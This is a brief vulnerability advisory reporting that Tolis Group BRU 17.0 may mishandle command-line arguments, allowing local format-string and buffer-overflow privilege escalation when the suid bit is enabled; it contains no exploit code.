Tolis Group BRU 17.0 - Local Privilege Escalation (1)

It has been reported that BRU may not properly parse commandline arguments, potentially leading to at least two vectors of exploitation. It may be possible for local attackers to conduct format string-based attacks as well as buffer overflow-based attacks.

It should be noted that although BRU does not ship with the suid bit set by default, documentation within the software may instruct users to enable it.
